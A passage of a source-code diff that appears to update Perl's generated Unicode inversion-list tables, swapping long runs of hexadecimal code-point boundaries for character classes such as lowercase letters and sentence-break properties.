0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE0, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x210A, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2114, - 0x212F, - 0x2130, - 0x2134, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x213E, - 0x2146, - 0x214A, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE5, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, + 0x1400, + 0x1680, + 0x1681, + 0x169D, + 0x16A0, + 0x16F9, + 0x1700, + 0x170D, + 0x170E, + 0x1715, + 0x1720, + 0x1737, + 0x1740, + 0x1754, + 0x1760, + 0x176D, + 0x176E, + 0x1771, + 0x1772, + 0x1774, + 0x1780, + 0x17DE, + 0x17E0, + 0x17EA, + 0x17F0, + 0x17FA, + 0x1800, + 0x180F, + 0x1810, + 0x181A, + 0x1820, + 0x1878, + 0x1880, + 0x18AB, + 0x18B0, + 0x18F6, + 0x1900, + 0x191F, + 0x1920, + 0x192C, + 0x1930, + 0x193C, + 0x1940, + 0x1941, + 0x1944, + 0x196E, + 0x1970, + 0x1975, + 0x1980, + 0x19AC, + 0x19B0, + 0x19CA, + 0x19D0, + 0x19DB, + 0x19DE, + 0x1A1C, + 0x1A1E, + 0x1A5F, + 0x1A60, + 0x1A7D, + 0x1A7F, + 0x1A8A, + 0x1A90, + 0x1A9A, + 0x1AA0, + 0x1AAE, + 0x1AB0, + 0x1ABF, + 0x1B00, + 0x1B4C, + 0x1B50, + 0x1B7D, + 0x1B80, + 0x1BF4, + 0x1BFC, + 0x1C38, + 0x1C3B, + 0x1C4A, + 0x1C4D, + 0x1C89, + 0x1CC0, + 0x1CC8, + 0x1CD0, + 0x1CF7, + 0x1CF8, + 0x1CFA, + 0x1D00, + 0x1DF6, + 0x1DFB, + 0x1F16, + 0x1F18, + 0x1F1E, + 0x1F20, + 0x1F46, + 0x1F48, + 0x1F4E, + 0x1F50, + 0x1F58, + 0x1F59, + 0x1F5A, + 0x1F5B, + 0x1F5C, + 0x1F5D, + 0x1F5E, + 0x1F5F, + 0x1F7E, + 0x1F80, + 0x1FB5, + 0x1FB6, + 0x1FC5, + 0x1FC6, + 0x1FD4, + 0x1FD6, + 0x1FDC, + 0x1FDD, + 0x1FF0, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FFF, + 0x200B, + 0x2028, + 0x202A, + 0x202F, + 0x2030, + 0x205F, + 0x2060, + 0x2065, + 0x2066, + 0x2072, + 0x2074, + 0x208F, + 0x2090, + 0x209D, + 0x20A0, + 0x20BF, + 0x20D0, + 0x20F1, + 0x2100, + 0x218C, + 0x2190, + 0x23FF, + 0x2400, + 0x2427, + 0x2440, + 0x244B, + 0x2460, + 0x2B74, + 0x2B76, + 0x2B96, + 0x2B98, + 0x2BBA, + 0x2BBD, + 0x2BC9, + 0x2BCA, + 0x2BD2, + 0x2BEC, + 0x2BF0, + 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, 0x2CF4, - 0x2D00, + 0x2CF9, 0x2D26, 0x2D27, 0x2D28, 0x2D2D, 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69E, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA78F, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, + 0x2D30, + 0x2D68, + 0x2D6F, + 0x2D71, + 0x2D7F, + 0x2D97, + 0x2DA0, + 0x2DA7, + 0x2DA8, + 0x2DAF, + 0x2DB0, + 0x2DB7, + 0x2DB8, + 0x2DBF, + 0x2DC0, + 0x2DC7, + 0x2DC8, + 0x2DCF, + 0x2DD0, + 0x2DD7, + 0x2DD8, + 0x2DDF, + 0x2DE0, + 0x2E45, + 0x2E80, + 0x2E9A, + 0x2E9B, + 0x2EF4, + 0x2F00, + 0x2FD6, + 0x2FF0, + 0x2FFC, + 0x3001, + 0x3040, + 0x3041, + 0x3097, + 0x3099, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, + 0x3190, + 0x31BB, + 0x31C0, + 0x31E4, + 0x31F0, + 0x321F, + 0x3220, + 0x32FF, + 0x3300, + 0x4DB6, + 0x4DC0, + 0x9FD6, + 0xA000, + 0xA48D, + 0xA490, + 0xA4C7, + 0xA4D0, + 0xA62C, + 0xA640, + 0xA6F8, + 0xA700, + 0xA7AF, + 0xA7B0, 0xA7B8, - 0xA7F8, - 0xA7FB, + 0xA7F7, + 0xA82C, + 0xA830, + 0xA83A, + 0xA840, + 0xA878, + 0xA880, + 0xA8C6, + 0xA8CE, + 0xA8DA, + 0xA8E0, + 0xA8FE, + 0xA900, + 0xA954, + 0xA95F, + 0xA97D, + 0xA980, + 0xA9CE, + 0xA9CF, + 0xA9DA, + 0xA9DE, + 0xA9FF, + 0xAA00, + 0xAA37, + 0xAA40, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA5C, + 0xAAC3, + 0xAADB, + 0xAAF7, + 0xAB01, + 0xAB07, + 0xAB09, + 0xAB0F, + 0xAB11, + 0xAB17, + 0xAB20, + 0xAB27, + 0xAB28, + 0xAB2F, 0xAB30, - 0xAB5B, - 0xAB5C, 0xAB66, 0xAB70, - 0xABC0, + 0xABEE, + 0xABF0, + 0xABFA, + 0xAC00, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xE000, + 0xFA6E, + 0xFA70, + 0xFADA, 0xFB00, 0xFB07, 0xFB13, 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, + 0xFB1D, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFBC2, + 0xFBD3, + 0xFD40, + 0xFD50, + 0xFD90, + 0xFD92, + 0xFDC8, + 0xFDF0, + 0xFDFE, + 0xFE00, + 0xFE1A, + 0xFE20, + 0xFE53, + 0xFE54, + 0xFE67, + 0xFE68, + 0xFE6C, + 0xFE70, + 0xFE75, + 0xFE76, + 0xFEFD, + 0xFEFF, + 0xFF00, + 0xFF01, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, + 0xFFE0, + 0xFFE7, + 0xFFE8, + 0xFFEF, + 0xFFF9, + 0xFFFE, + 0x10000, + 0x1000C, + 0x1000D, + 0x10027, + 0x10028, + 0x1003B, + 0x1003C, + 0x1003E, + 0x1003F, + 0x1004E, + 0x10050, + 0x1005E, + 0x10080, + 0x100FB, + 0x10100, + 0x10103, + 0x10107, + 0x10134, + 0x10137, + 0x1018F, + 0x10190, + 0x1019C, + 0x101A0, + 0x101A1, + 0x101D0, + 0x101FE, + 0x10280, + 0x1029D, + 0x102A0, + 0x102D1, + 0x102E0, + 0x102FC, + 0x10300, + 0x10324, + 0x10330, + 0x1034B, + 0x10350, + 0x1037B, + 0x10380, + 0x1039E, + 0x1039F, + 0x103C4, + 0x103C8, + 0x103D6, + 0x10400, + 0x1049E, + 0x104A0, + 0x104AA, + 0x104B0, + 0x104D4, 0x104D8, 0x104FC, + 0x10500, + 0x10528, + 0x10530, + 0x10564, + 0x1056F, + 0x10570, + 0x10600, + 0x10737, + 0x10740, + 0x10756, + 0x10760, + 0x10768, + 0x10800, + 0x10806, + 0x10808, + 0x10809, + 0x1080A, + 0x10836, + 0x10837, + 0x10839, + 0x1083C, + 0x1083D, + 0x1083F, + 0x10856, + 0x10857, + 0x1089F, + 0x108A7, + 0x108B0, + 0x108E0, + 0x108F3, + 0x108F4, + 0x108F6, + 0x108FB, + 0x1091C, + 0x1091F, + 0x1093A, + 0x1093F, + 0x10940, + 0x10980, + 0x109B8, + 0x109BC, + 0x109D0, + 0x109D2, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A14, + 0x10A15, + 0x10A18, + 0x10A19, + 0x10A34, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A48, + 0x10A50, + 0x10A59, + 0x10A60, + 0x10AA0, + 0x10AC0, + 0x10AE7, + 0x10AEB, + 0x10AF7, + 0x10B00, + 0x10B36, + 0x10B39, + 0x10B56, + 0x10B58, + 0x10B73, + 0x10B78, + 0x10B92, + 0x10B99, + 0x10B9D, + 0x10BA9, + 0x10BB0, + 0x10C00, + 0x10C49, + 0x10C80, + 0x10CB3, 0x10CC0, 0x10CF3, - 0x118C0, - 0x118E0, - 0x1D41A, - 0x1D434, - 0x1D44E, + 0x10CFA, + 0x10D00, + 0x10E60, + 0x10E7F, + 0x11000, + 0x1104E, + 0x11052, + 0x11070, + 0x1107F, + 0x110C2, + 0x110D0, + 0x110E9, + 0x110F0, + 0x110FA, + 0x11100, + 0x11135, + 0x11136, + 0x11144, + 0x11150, + 0x11177, + 0x11180, + 0x111CE, + 0x111D0, + 0x111E0, + 0x111E1, + 0x111F5, + 0x11200, + 0x11212, + 0x11213, + 0x1123F, + 0x11280, + 0x11287, + 0x11288, + 0x11289, + 0x1128A, + 0x1128E, + 0x1128F, + 0x1129E, + 0x1129F, + 0x112AA, + 0x112B0, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133C, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11400, + 0x1145A, + 0x1145B, + 0x1145C, + 0x1145D, + 0x1145E, + 0x11480, + 0x114C8, + 0x114D0, + 0x114DA, + 0x11580, + 0x115B6, + 0x115B8, + 0x115DE, + 0x11600, + 0x11645, + 0x11650, + 0x1165A, + 0x11660, + 0x1166D, + 0x11680, + 0x116B8, + 0x116C0, + 0x116CA, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172C, + 0x11730, + 0x11740, + 0x118A0, + 0x118F3, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C37, + 0x11C38, + 0x11C46, + 0x11C50, + 0x11C6D, + 0x11C70, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12470, + 0x12475, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16A6E, + 0x16A70, + 0x16AD0, + 0x16AEE, + 0x16AF0, + 0x16AF6, + 0x16B00, + 0x16B46, + 0x16B50, + 0x16B5A, + 0x16B5B, + 0x16B62, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F7F, + 0x16F8F, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, + 0x1BC9C, + 0x1BCA4, + 0x1D000, + 0x1D0F6, + 0x1D100, + 0x1D127, + 0x1D129, + 0x1D1E9, + 0x1D200, + 0x1D246, + 0x1D300, + 0x1D357, + 0x1D360, + 0x1D372, + 0x1D400, 0x1D455, 0x1D456, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D4B6, + 0x1D49D, + 0x1D49E, + 0x1D4A0, + 0x1D4A2, + 0x1D4A3, + 0x1D4A5, + 0x1D4A7, + 0x1D4A9, + 0x1D4AD, + 0x1D4AE, 0x1D4BA, 0x1D4BB, 0x1D4BC, 0x1D4BD, 0x1D4C4, 0x1D4C5, - 0x1D4D0, - 0x1D4EA, - 0x1D504, + 0x1D506, + 0x1D507, + 0x1D50B, + 0x1D50D, + 0x1D515, + 0x1D516, + 0x1D51D, 0x1D51E, - 0x1D538, + 0x1D53A, + 0x1D53B, + 0x1D53F, + 0x1D540, + 0x1D545, + 0x1D546, + 0x1D547, + 0x1D54A, + 0x1D551, 0x1D552, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, 0x1D6A6, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6E2, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D71C, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D756, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D790, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CA, - 0x1D7CB, + 0x1D6A8, 0x1D7CC, - 0x1E922, - 0x1E944 + 0x1D7CE, + 0x1DA8C, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E8C7, + 0x1E8D7, + 0x1E900, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1E95E, + 0x1E960, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x1EEF0, + 0x1EEF2, + 0x1F000, + 0x1F02C, + 0x1F030, + 0x1F094, + 0x1F0A0, + 0x1F0AF, + 0x1F0B1, + 0x1F0C0, + 0x1F0C1, + 0x1F0D0, + 0x1F0D1, + 0x1F0F6, + 0x1F100, + 0x1F10D, + 0x1F110, + 0x1F12F, + 0x1F130, + 0x1F16C, + 0x1F170, + 0x1F1AD, + 0x1F1E6, + 0x1F203, + 0x1F210, + 0x1F23C, + 0x1F240, + 0x1F249, + 0x1F250, + 0x1F252, + 0x1F300, + 0x1F6D3, + 0x1F6E0, + 0x1F6ED, + 0x1F6F0, + 0x1F6F7, + 0x1F700, + 0x1F774, + 0x1F780, + 0x1F7D5, + 0x1F800, + 0x1F80C, + 0x1F810, + 0x1F848, + 0x1F850, + 0x1F85A, + 0x1F860, + 0x1F888, + 0x1F890, + 0x1F8AE, + 0x1F910, + 0x1F91F, + 0x1F920, + 0x1F928, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93F, + 0x1F940, + 0x1F94C, + 0x1F950, + 0x1F95F, + 0x1F980, + 0x1F992, + 0x1F9C0, + 0x1F9C1, + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E, + 0xE0001, + 0xE0002, + 0xE0020, + 0xE0080, + 0xE0100, + 0xE01F0, + 0xF0000, + 0xFFFFE, + 0x100000, + 0x10FFFE }; -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SB__LO_invlist[] = { /* for EBCDIC 037 */ - 1287, /* Number of elements */ +static const UV XPosixLower_invlist[] = { /* for ASCII/Latin1 */ + 1281, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0xA0, - 0xA1, - 0xA2, + 0x61, + 0x7B, 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xE0, + 0xAB, + 0xB5, + 0xB6, + 0xBA, + 0xBB, + 0xDF, + 0xF7, + 0xF8, + 0x100, 0x101, 0x102, 0x103, @@ -333488,6 +26185,8 @@ static const UV PL_SB__LO_invlist[] = { /* for EBCDIC 037 */ 0x2C2, 0x2E0, 0x2E5, + 0x345, + 0x346, 0x371, 0x372, 0x373, @@ -333993,1225 +26692,2133 @@ static const UV PL_SB__LO_invlist[] = { /* for EBCDIC 037 */ 0x1F10, 0x1F16, 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, + 0x1F28, + 0x1F30, + 0x1F38, + 0x1F40, + 0x1F46, + 0x1F50, + 0x1F58, + 0x1F60, + 0x1F68, + 0x1F70, + 0x1F7E, + 0x1F80, + 0x1F88, + 0x1F90, + 0x1F98, + 0x1FA0, + 0x1FA8, + 0x1FB0, + 0x1FB5, + 0x1FB6, + 0x1FB8, + 0x1FBE, + 0x1FBF, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FC8, + 0x1FD0, + 0x1FD4, + 0x1FD6, + 0x1FD8, + 0x1FE0, + 0x1FE8, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FF8, + 0x2071, + 0x2072, + 0x207F, + 0x2080, + 0x2090, + 0x209D, + 0x210A, + 0x210B, + 0x210E, + 0x2110, + 0x2113, + 0x2114, + 0x212F, + 0x2130, + 0x2134, + 0x2135, + 0x2139, + 0x213A, + 0x213C, + 0x213E, + 0x2146, + 0x214A, + 0x214E, + 0x214F, + 0x2170, + 0x2180, + 0x2184, + 0x2185, + 0x24D0, + 0x24EA, + 0x2C30, + 0x2C5F, + 0x2C61, + 0x2C62, + 0x2C65, + 0x2C67, + 0x2C68, + 0x2C69, + 0x2C6A, + 0x2C6B, + 0x2C6C, + 0x2C6D, + 0x2C71, + 0x2C72, + 0x2C73, + 0x2C75, + 0x2C76, + 0x2C7E, + 0x2C81, + 0x2C82, + 0x2C83, + 0x2C84, + 0x2C85, + 0x2C86, + 0x2C87, + 0x2C88, + 0x2C89, + 0x2C8A, + 0x2C8B, + 0x2C8C, + 0x2C8D, + 0x2C8E, + 0x2C8F, + 0x2C90, + 0x2C91, + 0x2C92, + 0x2C93, + 0x2C94, + 0x2C95, + 0x2C96, + 0x2C97, + 0x2C98, + 0x2C99, + 0x2C9A, + 0x2C9B, + 0x2C9C, + 0x2C9D, + 0x2C9E, + 0x2C9F, + 0x2CA0, + 0x2CA1, + 0x2CA2, + 0x2CA3, + 0x2CA4, + 0x2CA5, + 0x2CA6, + 0x2CA7, + 0x2CA8, + 0x2CA9, + 0x2CAA, + 0x2CAB, + 0x2CAC, + 0x2CAD, + 0x2CAE, + 0x2CAF, + 0x2CB0, + 0x2CB1, + 0x2CB2, + 0x2CB3, + 0x2CB4, + 0x2CB5, + 0x2CB6, + 0x2CB7, + 0x2CB8, + 0x2CB9, + 0x2CBA, + 0x2CBB, + 0x2CBC, + 0x2CBD, + 0x2CBE, + 0x2CBF, + 0x2CC0, + 0x2CC1, + 0x2CC2, + 0x2CC3, + 0x2CC4, + 0x2CC5, + 0x2CC6, + 0x2CC7, + 0x2CC8, + 0x2CC9, + 0x2CCA, + 0x2CCB, + 0x2CCC, + 0x2CCD, + 0x2CCE, + 0x2CCF, + 0x2CD0, + 0x2CD1, + 0x2CD2, + 0x2CD3, + 0x2CD4, + 0x2CD5, + 0x2CD6, + 0x2CD7, + 0x2CD8, + 0x2CD9, + 0x2CDA, + 0x2CDB, + 0x2CDC, + 0x2CDD, + 0x2CDE, + 0x2CDF, + 0x2CE0, + 0x2CE1, + 0x2CE2, + 0x2CE3, + 0x2CE5, + 0x2CEC, + 0x2CED, + 0x2CEE, + 0x2CEF, + 0x2CF3, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0xA641, + 0xA642, + 0xA643, + 0xA644, + 0xA645, + 0xA646, + 0xA647, + 0xA648, + 0xA649, + 0xA64A, + 0xA64B, + 0xA64C, + 0xA64D, + 0xA64E, + 0xA64F, + 0xA650, + 0xA651, + 0xA652, + 0xA653, + 0xA654, + 0xA655, + 0xA656, + 0xA657, + 0xA658, + 0xA659, + 0xA65A, + 0xA65B, + 0xA65C, + 0xA65D, + 0xA65E, + 0xA65F, + 0xA660, + 0xA661, + 0xA662, + 0xA663, + 0xA664, + 0xA665, + 0xA666, + 0xA667, + 0xA668, + 0xA669, + 0xA66A, + 0xA66B, + 0xA66C, + 0xA66D, + 0xA66E, + 0xA681, + 0xA682, + 0xA683, + 0xA684, + 0xA685, + 0xA686, + 0xA687, + 0xA688, + 0xA689, + 0xA68A, + 0xA68B, + 0xA68C, + 0xA68D, + 0xA68E, + 0xA68F, + 0xA690, + 0xA691, + 0xA692, + 0xA693, + 0xA694, + 0xA695, + 0xA696, + 0xA697, + 0xA698, + 0xA699, + 0xA69A, + 0xA69B, + 0xA69E, + 0xA723, + 0xA724, + 0xA725, + 0xA726, + 0xA727, + 0xA728, + 0xA729, + 0xA72A, + 0xA72B, + 0xA72C, + 0xA72D, + 0xA72E, + 0xA72F, + 0xA732, + 0xA733, + 0xA734, + 0xA735, + 0xA736, + 0xA737, + 0xA738, + 0xA739, + 0xA73A, + 0xA73B, + 0xA73C, + 0xA73D, + 0xA73E, + 0xA73F, + 0xA740, + 0xA741, + 0xA742, + 0xA743, + 0xA744, + 0xA745, + 0xA746, + 0xA747, + 0xA748, + 0xA749, + 0xA74A, + 0xA74B, + 0xA74C, + 0xA74D, + 0xA74E, + 0xA74F, + 0xA750, + 0xA751, + 0xA752, + 0xA753, + 0xA754, + 0xA755, + 0xA756, + 0xA757, + 0xA758, + 0xA759, + 0xA75A, + 0xA75B, + 0xA75C, + 0xA75D, + 0xA75E, + 0xA75F, + 0xA760, + 0xA761, + 0xA762, + 0xA763, + 